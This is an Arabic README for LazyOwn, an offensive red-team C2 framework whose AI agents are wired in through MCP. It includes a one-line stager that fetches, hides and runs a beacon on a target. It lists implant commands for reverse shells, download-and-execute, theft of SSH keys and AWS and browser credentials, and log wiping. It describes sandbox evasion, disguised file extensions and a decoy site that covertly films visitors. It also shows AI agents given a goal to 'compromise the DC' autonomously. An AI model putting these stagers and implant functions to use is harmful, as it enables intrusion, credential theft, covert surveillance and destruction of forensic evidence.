LazyOwn

إطار عمل للفريق الأحمر ومنصة C2 متعددة المشغلين مع وكلاء ذكاء اصطناعي، وبرمجيات خبيثة قابلة للتشكيل، وrootkits، ومحرك تصيد احتيالي، و741 أمر CLI تغطي سلسلة القتل الهجومية الكاملة.

741 أمر CLI. C2 متعدد المشغلين. 153 أداة MCP لوكلاء الذكاء الاصطناعي. الـ C2 الوحيد مفتوح المصدر مع دعم Linux BOF + أسواق YARA/Nuclei المدمجة.

المزيد من العروض التوضيحية

دليل شامل: QUICKSTART.md (5 دقائق) · دليل 80/20: ESSENTIALS.md · HTB من البداية للنهاية: docs/examples/htb-lame-walkthrough.md · مقارنة صادقة: COMPARISON.md

لماذا LazyOwn مقابل Sliver / Havoc / Mythic / Caldera / Metasploit

الجدول الكامل: COMPARISON.md. وجدت خطأً؟ افتح issue، وسنصلحه.```sh ██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █ ▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █ ▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒ ▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒ ░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░ ░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░

التثبيت الافتراضي خفيف؛ أضف --with-ml لحزمة torch/CUDA الثقيلة، و--with-ollama لبيئة تشغيل LLM المحلية، و--with-tools للملفات التنفيذية الخارجية الشائعة. التبعيات مثبتة في requirements.txt (النواة متعددة المنصات) وrequirements-ml.txt (ML الاختياري)؛ pyproject.toml هو المصدر الوحيد للحقيقة.

Docker

للعمليات المعزولة والقابلة لإعادة الإنتاج، راجع lazyown-docker/README.md.```bash cd lazyown-docker ./mkdocker.sh build ./mkdocker.sh run --vpn 1

إذا أبلغ doctor عن فشل حاجب (أحمر)، فأصلحه قبل المتابعة — فهو يخبرك بأمر pip install / apt install الدقيق لأي شيء مفقود. التحذيرات (الصفراء) هي ميزات اختيارية يمكنك تجاهلها في الوقت الحالي.

البنية الأساسية

LazyOwn مبني حول بنية معيارية مدفوعة بالأوامر توفر المرونة وقابلية التوسع لسير عمل اختبار الأمان.

يدمج LazyOwn واجهة سطر أوامر (CLI) مبنية على cmd2 وواجهة رسومية قائمة على الويب مبنية على Flask. المعاملات محددة النطاق في payload.json، مما يتيح تكوينًا متسقًا عبر الأدوات. يدعم الإطار محاكاة الخصوم، وجدولة المهام عبر أمر cron، وسير عمل محاكاة التهديدات الآلية المستمرة.

راجع CONTRIBUTING.md للتفاصيل.

مهارات LazyOwn — تكامل MCP

اربط Claude Code بإطار LazyOwn عبر بروتوكول سياق النموذج (MCP). يكشف خادم MCP عن 153 أداة تغطي دورة حياة المهمة الكاملة.

الملفات

البدء السريع (5 دقائق حتى أول shell)

الدليل الكامل: QUICKSTART.md```bash

1. Clone and install (light by default; add --with-ml for the 2 GB torch/CUDA stack, --with-ollama for the local LLM)

git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh

2. Launch, verify the install, then run the wizard

./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider

Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are

imported lazily: a missing package degrades only its feature instead of

crashing the shell, and the dependent command raises a clear "pip install ..."

error when used. To audit them without launching the shell (works even if rich

or cmd2 are broken): python3 -m core.dependencies

3. Define your authorized scope, then recon

(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show

4. Start C2 (separate terminal)

bash fast_run_as_r00t.sh --no-attach --vpn 1

5. Get a shell — Linux BOF-capable beacon

(LazyOwn) > blacksandbeacon

Then on target: curl -sk "http://:/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

6. Invite teammates (multi-operator)

(LazyOwn) > collab_join alice

Prints: https://:<c2_port>/collab/?operator=alice

تدفق SSE في الطرفية:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .

قفل هدف (يمنع مشغّلين اثنين من تشغيل الأداة نفسها):```bash curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'

أو انسخ .mcp.example.json إلى .mcp.json واضبط LAZYOWN_DIR على المسار المطلق لهذا المستودع المستنسخ:```json { "mcpServers": { "lazyown": { "command": "python3", "args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"], "env": { "LAZYOWN_DIR": "${LAZYOWN_DIR}" } } } }

بعد إعادة تشغيل Claude Code، تصبح جميع أدوات lazyown_* متاحة.

وكيل Hermes

LazyOwn أصلي في Hermes. توفر طبقة التكامل skills/hermes-lazyown/ واجهة أدوات مضغوطة ذات نطاق أسماء محسّنة لنوافذ سياق Hermes مع استئناف نقاط التحقق، والتوليد الديناميكي للقواعد، وتخطيط التفويض الأصلي.

سجّل في ~/.hermes/config.yaml:```yaml mcp_servers: hermes-lazyown: command: python3 args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"] env: LAZYOWN_DIR: "${LAZYOWN_DIR}"

يقوم المحوّل بجسر خادم MCP الخاص بـ LazyOwn إلى واجهة OpenCode CLI، مما يعرض نفس سطح أدوات lazyown_* مع مطالبات وسير عمل أصلية لـ OpenCode.

الإعداد الكامل: https://github.com/grisuno/LazyOwnOpenCodeAdapter

متغيرات البيئة

مجموعات أدوات MCP (153 أداة)

التوثيق الكامل: skills/README.md و skills/lazyown.md.

تحسينات MCP في وضع التدقيق

أُضيفت في skills/lazyown_mcp_helpers.py لجعل عمليات التدقيق المستقلة أكثر كفاءة وأقل عرضة للأخطاء. المنطق موجود في وحدة دوال خالصة بحيث يمكن اختبارها بشكل معزول (tests/test_mcp_improvements.py).

تحسينات CLI في وضع التدقيق

طبقة امتداد SOLID في cli/cli_enhancements.py تتصل بصدفة cmd2 عبر الاكتشاف التلقائي الموجود لـ CommandSet (cli/commands/audit.py). لم تكن هناك حاجة لتعديلات على نواة lazyown.py البالغة 27 ألف سطر بخلاف خطافين صغيرين (تحميل الاسم المستعار lazy، والرجوع إلى completedefault).

الأساسيات مستقلة عن الإطار وتعتمد على واجهات typing.Protocol صغيرة (PayloadProvider، CommandLister، TerminalIO) بحيث يمكن اختبارها بشكل معزول. انظر tests/test_cli_enhancements.py (36 اختبارًا).

الإكمال التلقائي المنسدل الضبابي

تثبّت صدفة cmd2 منتقيًا ضبابيًا مدفوعًا بـ curses فوق GNU readline (cli/fuzzy_picker.py). عند ضغطة Tab واحدة، عندما يتوفر إكمالان أو أكثر، يفتح المنتقي قائمة منسدلة محدودة الحواف مثبتة في أسفل الطرفية تعرض كل تطابق إلى جانب وصفه. يفضل المُقيّم التطابقات التامة والبادئة والتسلسل الفرعي على السلسلة الفرعية والتشابه (نفس الترتيب الذي يستخدمه أمر fz المستقل)، ويُبرز الأحرف المتطابقة من الاستعلام في كل صف حتى يتمكن المشغل من رؤية سبب وجود مرشح في القائمة.

التنقل: ↑ / ↓ للتحرك، Page Up / Page Down للقفز، Home / End للبحث، Backspace لتحرير الاستعلام في مكانه، Tab أو Enter لإدراج الأمر المُبرز في المطالبة، Esc أو Ctrl-C للإلغاء. عندما يتطابق مرشح واحد فقط، يُحفظ سلوك الإدراج التلقائي العادي لـ readline حتى لا يعيق المنتقي أبدًا مشغلًا سريعًا. تُدار الهندسة والألوان والرموز بواسطة PickerConfig، ويمكن لكتلة fuzzy_picker الاختيارية في payload.json تجاوز أي من حقولها (مثل "max_visible_rows": 8) دون لمس الكود.

مطالبة Neon Box القابلة للتكوين — config_banner

تعرض صدفة cmd2 مطالبة Neon Box من ثلاثة أسطر مُجمّعة من مجموعة معيارية من المقاطع (user_host، iface، lhost، rhost، domain، public_ip، cwd، git، venv، time، kernel، version، battery_load). العارض مُنفّذ في cli/banner_config.py كـ مكدس SOLID صغير: SegmentRenderer واحد لكل قطعة معلومات، و SegmentRegistry، وكائن قيمة BannerSettings، و BannerRenderer يُصدر مخرجات بألوان ANSI. عنوان IP العام، وإصدار النواة، وإصدار LazyOwn مخزنة مؤقتًا بـ TTL بحيث تبقى المطالبة دون الميلي ثانية بعد العرض الأول.

يفتح أمر الصدفة config_banner معالج curses بأسلوب Powerlevel10k بثلاثة تبويبات — Segments، Colors، Glyphs — ومعاينة مباشرة للمطالبة الناتجة مثبتة في أسفل اللوحة. Tab / Shift+Tab يتنقلان بين التبويبات؛ ↑ / ↓ يتحركان داخل التبويب النشط؛ Enter يحفظ في payload.json تحت كتلة banner؛ Escape يلغي. ارتباطات كل تبويب:

تُحدّث مطالبة الصدفة فورًا بعد الحفظ — دون حاجة لإعادة التشغيل. يمكن للمشغلين بدون TTY (CI، السكربتات) لا يزالون تشغيل النظام بـ config_banner show و config_banner reset، أو تحرير الحمولة يدويًا:```json "banner": { "enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"], "colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"}, "glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│", "bullet_primary": "❯", "arrow": "→"} }

يأتي الاقتراح من مخطط المعرفة graphify (نفس GraphAdvisor المستخدم بواسطة suggest_next)، لذا فهو مُستند بنيويًا — وليس قائمة عامة. الخطاف غير حاجب تمامًا: فهو يعود قبل أن يُصيّر cmd2 المطالبة، لذا يمكن للمشغّل البدء في كتابة الأمر التالي فورًا.

التحكم

الأوامر الموجودة في قائمة التخطي (help، ?، exit، set، show، palette، dashboard، suggest_next، graph_search، neighbors، god_nodes) لا تُنتج سطر تلميح أبدًا — فهي أوامر وصفية حيث يضيف الاقتراح ضوضاء.

عند غياب مخطط graphify يعود الخطاف بصمت. شغّل /graphify . مرة واحدة لبناء المخطط وتبدأ التلميحات في الظهور عند الأمر التالي مباشرة.

لوحة تحكم TUI للمشغّل — dashboard

cli/dashboard_tui.py هي لوحة تحكم ملء الشاشة مبنية بـ Textual تُطلق من الصدفة عبر:``` dashboard

مصادر البيانات (تُحدَّث تلقائيًا كل 5 ثوانٍ)

يتطلب pip install textual (مُضاف إلى install.sh).

لوحة الأوامر والاستكشاف المدرك للرسم البياني

تتيح أداة lazyown_palette الخاصة بـ MCP (والتي يمكن الوصول إليها أيضًا عبر أمر CLI ‏palette وعرض الويب /palette، مع طبقة تراكب عامة Ctrl+K / Cmd+K على كل صفحة C2) للوكلاء والمشغّلين تصفّح أكثر من 422 أمر do_* دون تمرير. الأوضاع:

تأتي قوائم calls / related في عرض التفاصيل من graphify-out/graph_lazyown.json (التي يُعاد توليدها بواسطة مهارة graphify)؛ وعند غياب هذا الملف تتدهور اللوحة بصمت إلى بيانات المرحلة فقط.

بوت Telegram Hermes

يربط بوت telegram_hermes.py تطبيق Telegram بإطار عمل LazyOwn الكامل عبر طبقة MCP وبوابة Hermes. يدعم التنفيذ المباشر لأوامر الصدفة، وتفويض الوكلاء المستقلين، والجدولة عبر cron، والتفاعل مع منارات C2، والمراسلة عبر المنصات.

الملفات

البدء السريع```bash

1. Create the dedicated virtual environment

cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests

2. Configure your bot token in payload.json

python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"

3. Launch the bot

./run_telegram_hermes.sh

المعاملات الفائقة: α=0.10، γ=0.90، ε_start=0.20، ε_min=0.05، ε_decay=0.995. يتلاشى استكشاف epsilon-greedy مع كل تحديث. تستمر قيم Q في sessions/expert_qvalues.json عبر الجلسات.

منسّق SWAN — skills/swan_agent.py

طبقة التكامل العليا تربط MoE + RL + Detection Oracle + Hive Memory:

• swan_run: تنفيذ خبير واحد مع توجيه موجّه بـ RL وتحديث Q بعد التنفيذ
• swan_ensemble: N من الخبراء بالتوازي عبر ThreadPoolExecutor، يتم تجميعهم بواسطة WeightedTextAggregator
• OutcomeEvaluator: المكافأة = 0 عندما يكون احتمال الكشف ≥ 70% (تشكيل المكافأة الواعي بالكشف)
• يتم تخزين كل نتيجة في Hive Memory (ChromaDB) للتعلم عبر الجلسات

Detection Oracle (مرآة الفريق الأزرق) — modules/detection_oracle.py

يتنبأ باحتمال الكشف قبل التنفيذ باستخدام 17 قاعدة Sigma-lite تغطي: الوصول إلى بيانات الاعتماد (LSASS، SAM، DCSync)، الحركة الجانبية (PsExec، WMI، evil-winrm)، تصعيد الامتيازات (انتحال الرموز المميزة، الأنابيب المسماة)، الاستغلال، الاستطلاع، C2، والقوة الغاشمة.

تجميع الاحتمالات: P(detect) = 1 - ∏(1 - P_i) عبر جميع القواعد المُفعّلة.

الحلقة المغلقة للفريق البنفسجي — modules/auto_purple.py

حلقة قياس آلية بين الأحمر والأزرق تنفذ الإجراءات الهجومية، وتستعلم من LazyOwnBT للكشف، وتغذي النتائج مرة أخرى إلى Detection Oracle للمعايرة.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI

ثلاث أدوات MCP:

بدء سريع:```python

1. Submit the engagement goal

lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )

2. Start autonomous execution

lazyown_auto_loop(target="10.10.11.5", max_steps=20)

3. Monitor progress

lazyown_aci_status()

4. When blocked (blocked_count >= 3)

lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")

الخادم المستقل — skills/autonomous_daemon.py

أربعة أدوار asyncio في عملية واحدة — لا حاجة إلى Claude بين الخطوات:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings

• الفشل المفتوح بحكم التصميم: يبقى خامدًا أثناء كون النطاق فارغًا أو الوضع off، لذا لا تتأثر الحملات الحالية حتى تقوم بالتفعيل. أي خطأ داخلي يسمح بالأمر بدلًا من حظر المشغّل.
• warn يعلّق على الأوامر الهجومية خارج النطاق؛ enforce يحظرها بانتظار تأكيد صريح (ويرفض في الجلسات غير التفاعلية).
• فقط فئات سلسلة القتل الهجومية مقيّدة؛ الإبلاغ والإعداد و المساعدات المحلية تعمل دائمًا. أوامر do_* الهجومية الجديدة تُصنّف تلقائيًا.
• مخزّنة في payload.json (scope, scope_enforcement)؛ المنطق الصرف يعيش في cli/scope_guard.py مع صفر ارتباط بالـ shell.

عمليات التثبيت القابلة للتكرار

تُعلن التبعيات مرة واحدة في pyproject.toml (مصدر واحد للحقيقة) و مثبّتة لعمليات تثبيت قابلة للتكرار:

• requirements.txt — قفل النواة عبر المنصات (بدون حزم CUDA).
• requirements-ml.txt — اختياري، حزمة ML الثقيلة (torch/CUDA، scikit-learn).
• install.sh يعمل تحت الوضع الصارم وهو idempotent. التثبيت الافتراضي خفيف؛ فعّل الإضافات مع --with-ml (حزمة ML بحجم 2 GB)، --with-ollama (بيئة LLM محلية) و --with-tools (الملفات التنفيذية الخارجية الشائعة).
• للمطورين: pip install -e .[ml,dev].

الميزات الرئيسية

1. 741 أمر هجومي: تغطية كاملة لسلسلة القتل عبر Linux وWindows وmacOS وBSD — استطلاع، تعداد، استغلال، رفع صلاحيات، حركة جانبية، الوصول إلى بيانات الاعتماد، C2، تسريب البيانات، والإبلاغ.
2. واجهة cmd2 CLI تفاعلية: إكمال تلقائي ضبابي، موجه قابل للتكوين neon-box، لوحة أوامر (Ctrl+K)، تلميحات تفاعلية مضمّنة بعد كل أمر، ولوحة تحكم Textual TUI.
3. سوق متكامل: yara_marketplace (10 قواعد مدمجة: برامج الفدية، C2، webshells، التشويش، رفع الصلاحيات)، nuclei_marketplace (أكثر من 500 قالب)، marketplace للإضافات/الملحقات المجتمعية — كلها قابلة للتصفح عبر curses TUI.
4. auto_pwn & hunt: تسلسل استغلال ذاتي واستطلاع مدفوع بالتهديدات — auto_pwn يمشي عبر مراحل سلسلة القتل تلقائيًا، hunt ينفذ اكتشافًا موجّهًا بناءً على TTPs المعروفة.
5. محرك تلميحات موحّد بعد الأوامر: اقتراحات ذكية (تلميحات سلسلة القتل، نصائح احترافية، فضول، اقتراح تلقائي) مع تقييم ELO، شارات (First Blood، Arsenal Master، Kill Chain Master)، ومكافآت VRI — تجربة مشغّل مُلعّبة.
6. تشفير الجلسة التلقائي: auto_crypto يشفّر ملفات الجلسة الحساسة عند الخروج ويفك التشفير عند بدء التشغيل (PBKDF2HMAC + Fernet)، بشفافية للمشغّل.
7. معمارية أصلية للذكاء الاصطناعي: موجّه MoE (Mixture of Experts)، تدريب RL، منسّق SWAN، نظام Hive Mind متعدد الوكلاء، مخطط ACI (Autonomous Campaign Intelligence) — أول C2 يخطط وينفذ ويتعلم بشكل ذاتي.
8. حِمَم Go متعددة المراحل ومشوّشة: تسليم beacon بمرحلتين مشفّر بـ XOR مع stubs بلغة C، قنوات C2 مشفّرة بـ AES-256، تهرب من VM/sandbox/debugger، تعدد الأشكال، وstagers قائمة على LOLBAS. تم اختبارها على Kernel 6.12 وWindows 10.0.20348.
9. Linux BOF (Beacon Object Files): أول إطار عمل C2 مفتوح المصدر يدعم BOF لـ Linux عبر وقت تشغيل ELF dlopen. واجهة datap متوافقة مع المصدر مع عقد BOF الخاص بـ Windows. دعم استدعاءات النظام المباشرة و io_uring.
10. فخ Decoy للفريق الأزرق: موقع Flask وهمي يسجّل الفيديو/الصوت ويلتقط صورًا للزوار غير المصرّح لهم (مشغّلو الفريق الأزرق الذين يتحققون من C2)، مخزّنة في sessions/captured_images.
11. سطح هجوم Bloodhound: ارفع بيانات Bloodhound ZIP لعرض رسوم بيانية تفاعلية لسطح الهجوم مع التصفية والبحث، معزّزة ببيانات اكتشاف lazynmap.
12. محرك تصيّد مدعوم بالذكاء الاصطناعي: قوالب بريد إلكتروني مُولّدة بواسطة Groq/DeepSeek AI مع توليد روابط ديناميكية، بكسلات تتبع، تقصير الروابط، وإنشاء نقاط نهاية اختبارية.

3. Decoy: إذا لم يتطابق عنوان IP مع 127.0.0.1 أو lhost، سيعرض Flask موقعًا وهميًا؛ هذا الموقع الوهمي سيسجّل فيديو مع صوت ويلتقط صورًا من المتسلل (sessions/captured_images) مثل نسخة صغيرة من storm breaker لمعرفة من هو مشغّل الفريق الأزرق

4. محاكاة الخصم: قدرات متقدمة لتوليد جلسات عمليات الفريق الأحمر، مما يضمن محاكاة دقيقة وفعّالة.

5. جدولة المهام: استخدم أمر cron لجدولة المهام وأتمتتها، مما يتيح محاكاة تهديدات مستمرة.
6. نتائج فورية: احصل على تعليقات ونتائج فورية من تقييمات الأمان، مما يضمن رؤى دقيقة وفي الوقت المناسب.
7. قدرات RAT وBotnet: يتضمن ميزات للوصول والتحكم عن بُعد، مما يسمح بإدارة شبكات البوتات والتهديدات المستمرة.
8. إطار C2 مدعوم بالذكاء الاصطناعي: يعمل كإطار عمل للقيادة والتحكم (C2)، مما يتيح التواصل والتحكم الخفي على الأنظمة المخترقة. والعديد من روبوتات الذكاء الاصطناعي لتحسين opsec الخاص بك، مطوّر بـ Flask، مما يوفر واجهة سهلة الاستخدام للتفاعل السلس. الآن مع قدرات اكتشاف الشبكة، مما يسمح لنا برؤية سطح الهجوم على خريطة العميل بوضوح وبديهية مع مرشحات ولوحة بحث. وظائف جديدة قادمة قريبًا.

• منشئ C2 LazyAddon: صفحات /addons الموجّهة في لوحة تحكم C2 لتأليف تكاملات lazyaddons/*.yaml دون لمس YAML يدويًا. نموذج واحد يعرض كل خيار إضافة (الاسم، الوصف، المؤلف، الإصدار، التمكين، نظام التشغيل المستهدف، خدمات التشغيل، الفئة، نوع الوحدة، نوع التثبيت، المعاملات، كتلة الأداة، إضافات C2، متغيرات البيئة) مع تلميحات وأماكن حجز ومساعدة لكل حقل. شرائح العناصر النائبة ({rhost}، {url}، المعاملات المعلنة، وكل مفتاح payload.json) قابلة للسحب والإفلات في صناديق الأوامر. التحقق من جانب الخادم يرفض الأسماء غير الآمنة، اجتياز المسار، العناصر النائبة غير المعروفة، وعناوين URL المشوّهة قبل كتابة الملف؛ الكتابات ذرية وآمنة (ملف مؤقت يُنشأ بأذونات مقيّدة عبر mkstemp + fchmod، يُفرّغ ويُزامن، ثم يُرقّى بـ os.replace). صفحات القائمة ومعاينة YAML تكمل دورة الحياة. كل مسار معدّل محمي بـ CSRF. العقد: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py، مغطى بـ tests/test_addon_creator.py وبوابة الطفرة tests/run_mutation_addon_creator.py.

9. حِمَم GO غير قابلة للكشف ومشوّشة وقابلة للتشكيل: الأمر مع الحمولة يأتي مشوّشًا افتراضيًا. بدلًا من تنزيل الـ beacon مباشرة، ينزّل stub مُنشأ بلغة C لتنزيل الـ beacon، المشفّر بـ XOR مع مفتاح. ثم يُفكّ ترميزه في الذاكرة ويُنفّذ في مسار مؤقت باسم فريد للتهرب من الكشف، باستخدام svchost في Windows وlazyservice في Linux. هذا ينفذ حمة بمرحلتين، تم اختبارها على Kernel 6.12 وWindows [Version 10.0.20348.3807]. بالإضافة إلى ذلك، تمت إضافة stub بديل لـ Windows باستخدام LOLBAS PS1 وCsharp، مع نسخة من ebird3 في LOLBAS تستخدم نفس التقنيات. الـ Go beacon هو حمة متعددة المنصات، غير قابلة للكشف، ومشوّشة للغاية مصممة لعمليات الفريق الأحمر المتقدمة. يتميز بتعدد الأشكال، ويعمل في وضع تخفي قابل للتكوين، ويؤمّن الاتصالات بقنوات مشفّرة بـ AES-256. يندمج الـ beacon في البيئات عبر محاكاة حركة الشبكة الشرعية ويتجنب الكشف عبر تحديد الأجهزة الافتراضية والصناديق الرملية والحاويات والمصححات، معدّلًا سلوكه ديناميكيًا. ببصمة ضئيلة، يدعم اكتشاف شبكة قوي عبر تعداد المضيفين القائم على ping ومسح المنافذ للأهداف المكوّنة. تتفوق الحمة في تسريب البيانات الحساسة، بما في ذلك المفاتيح الخاصة، بيانات اعتماد AWS، بيانات اعتماد المتصفح، وسجلات النظام. تقدم بروكسي TCP ديناميكي لإعادة توجيه حركة المرور، محاولات رفع الصلاحيات، وتنظيف سجلات النظام. تتحقق الاستمرارية عبر Windows وLinux وmacOS عبر المهام المجدولة، systemd، crontab، وLaunchAgents. تشمل القدرات الإضافية محاكاة الخصم (MITRE ATT&CK)، تشويش الطوابع الزمنية للملفات، وضغط الأدلة للتسريب. مبنية بـ Go vet لصحة الكود، تندمج الحمة بسلاسة مع بيئات Dockerized وAWS Firecracker microVMs، مما يجعلها حجر الزاوية في البنية التحتية الحديثة للفريق الأحمر، مبنية بـ Go vet لسلامة الكود، تستفيد الحمة من Cloudflare لتشويش حركة المرور، وتوجيه الاتصالات عبر موجّهات آمنة وعالية الأداء لإخفاء بنية C2 التحتية. الملف التنفيذي Go مقوّى بتشويش Garble، مما يحبط الهندسة العكسية والكشف القائم على التوقيعات. على Windows، تستخدم الحمة تمويه الامتدادات للتنكّر كملفات حميدة (مثل .pdfx) وتضمّن أيقونات مخصصة عبر rsrc لهندسة اجتماعية مقنعة.

أوامر الـ beacon المتاحة:

• stealth_off التوقف عن التخفي، يعطّل وضع التخفي، مما يسمح بالعمليات العادية.
• stealth_on الدخول في وضع النينجا، يفعّل وضع التخفي، مما يقلل النشاط لتجنب الكشف.
• download: download:[filename] ينزّل ملفًا من C2 إلى المضيف المخترق.
• upload: [filename]: يرفع ملفًا من المضيف المخترق إلى C2.
• rev: ينشئ reverse shell إلى C2 باستخدام المنفذ المكوّن.
• exfil: يسرب البيانات الحساسة (مثل مفاتيح SSH، بيانات اعتماد AWS، سجلات الأوامر).
• download_exec: download_exec:[url]: ينزّل وينفّذ ملفًا تنفيذيًا من URL (Linux فقط، مخزّن في /dev/shm).
• obfuscate: [filename]: يشوّش الطوابع الزمنية للملفات لعرقلة التحليل الجنائي.
• cleanlogs: يمسح سجلات النظام (مثل /var/log/syslog على Linux، سجلات الأحداث على Windows).
• discover: ينفذ اكتشاف الشبكة، محدّدًا المضيفين الأحياء عبر ping.
• adversary:[id_atomic]: ينفذ اختبار محاكاة خصم (MITRE ATT&CK) باستخدام سكريبتات إطار atomic redteam المنزّلة.
• softenum: يعدّد البرامج المفيدة على المضيف (مثل docker، nc، python).
• netconfig: يلتقط ويسرب تكوين الشبكة (مثل ipconfig على Windows، ifconfig على Linux).
• escalatelin: يحاول رفع الصلاحيات على Linux (مثل عبر sudo -n أو ملفات SUID التنفيذية).
• proxy:[listenip]:[listenport]:[targetip]:[targetport] يبدأ بروكسي TCP يعيد توجيه حركة المرور من listenAddr إلى targetAddr.
• stop_proxy:[listenaddr] يوقف بروكسي TCP على العنوان المحدد.
• portscan: يمسح المنافذ على المضيفين المكتشفين وrhost المكوّن.
• compressdir:[directory]: يضغط دليلًا في ملف .tar.gz ويسربه.
• sandbox: الحصول على معلومات حول النظام إذا كان صندوقًا رمليًا أم لا.
• isvm: الحصول على معلومات حول النظام إذا كان جهازًا افتراضيًا أم لا.
• debug: الحصول على معلومات حول النظام إذا كان الهدف تحت التصحيح أم لا.
• persist: محاولة آلية الاستمرارية في النظام المستهدف.

أبرز ميزات v0.2.161

سلسلة القتل الموحّدة (مصدر واحد للحقيقة)

• modules/killchain.py يحسب المرحلة؛ كل واجهة (CLI /killchain، /api/killchain، C2 /api/data+/api/dashboard، لوحة GUI2) تعرض snapshot() الخاصة بها.
• سجل أوامر الـ beacon لكل حمة: /api/beacon_results/<client_id>، مدعوم بـ modules/beacon_history.py (JSONL، آمن للمسار).
• CLI /killchain auto on|off|N تحديث تلقائي مباشر؛ الأعلام killchain_auto_every / killchain_auto_on_phase_change.
• C2 يفك تشفير حالة الجلسة عند الإقلاع ويعيد تشفيرها عند الخروج النظيف، لذا الـ beacons وسلسلة القتل تعكس القيم الحقيقية أثناء تشغيل الخادم.

السوق (YARA + Nuclei)

تصفح وابحث وثبّت من TUI سوق موحّد:

• yara_marketplace list|search|install|info -- 10 قواعد مدمجة (برامج الفدية، C2، webshells، التشويش، رفع الصلاحيات)
• nuclei_marketplace list|search|install|info -- أكثر من 500 قالب من ~/nuclei-templates
• marketplace list|search|install|update -- 137 إضافة YAML، 57 ملحقًا، 69 أداة

auto_pwn & hunt

• auto_pwn -- مشي ذاتي لسلسلة القتل من الاستطلاع إلى الاستغلال
• hunt -- استطلاع مدفوع بالتهديدات: يربط TTPs المعروفة بالخدمات المكتشفة

الذكاء التفاعلي

• محرك تلميحات بعد الأوامر: تلميحات سلسلة القتل، نصائح احترافية، مكافآت الفضول
• تقييم ELO، شارات (First Blood، Arsenal Master، Kill Chain Master)
• تلميحات تفاعلية مضمّنة: اقتراحات "الأمر التالي" بعد كل إجراء

Auto Crypto

تشفير جلسة شفاف عند الخروج / فك التشفير عند بدء التشغيل عبر PBKDF2HMAC + Fernet.

كتب تشغيل جديدة

7 ملفات تعريف APT: Azure Graph API، CICD Poisoning، Entra Connect، macOS TCC، OAuth Token Theft، SCCM/MECM، VDI Breakout.

وضع السلسلة التفاعلي

chainmode on يبدأ تدفق تسلسل مدفوع بنموذج عالمي: بعد كل أمر يقدم الـ shell خطوات تالية مرتّبة (Enter = الاقتراح الأعلى، 1..N = بديل مرتّب، أي أمر = تجاوز، skip = يدوي، ESC/Ctrl+C/off = مغادرة). الاختيارات غير الصالحة تعيد المطالبة بدلًا من التخطي بصمت، والتدفق يتوقف تلقائيًا بعد max_steps من الأوامر المتسلسلة. الحالة تستمر في sessions/chain_mode.json (كتابات ذرية). العقد: cli/chain_mode.py + cli/command_chain.py.

صقل الميزات (UX + تقوية الأمان)

• تلميحات مضمّنة مدعومة بالأدلة: كل اقتراح يحمل الفعل، الثقة ([0, 99]، أبدًا 100% غير صادقة)، السبب، والمصدر. العقد: cli/reactive_hints.py + cli/recommendation_signals.py.
• محرك تلميحات موحّد يُعرض بالكامل عبر rich (بدون تهربات ANSI خام)؛ نص تلميح السجل لا يمكن أن يكسر عرض الترميز أبدًا. العقد: cli/tips_engine.py.
• cli/noise_verbs.py هو المصدر الوحيد للحقيقة لقوائم الأفعال غير القابلة للتنفيذ المشتركة بين التلميحات والنصائح ووضع السلسلة.
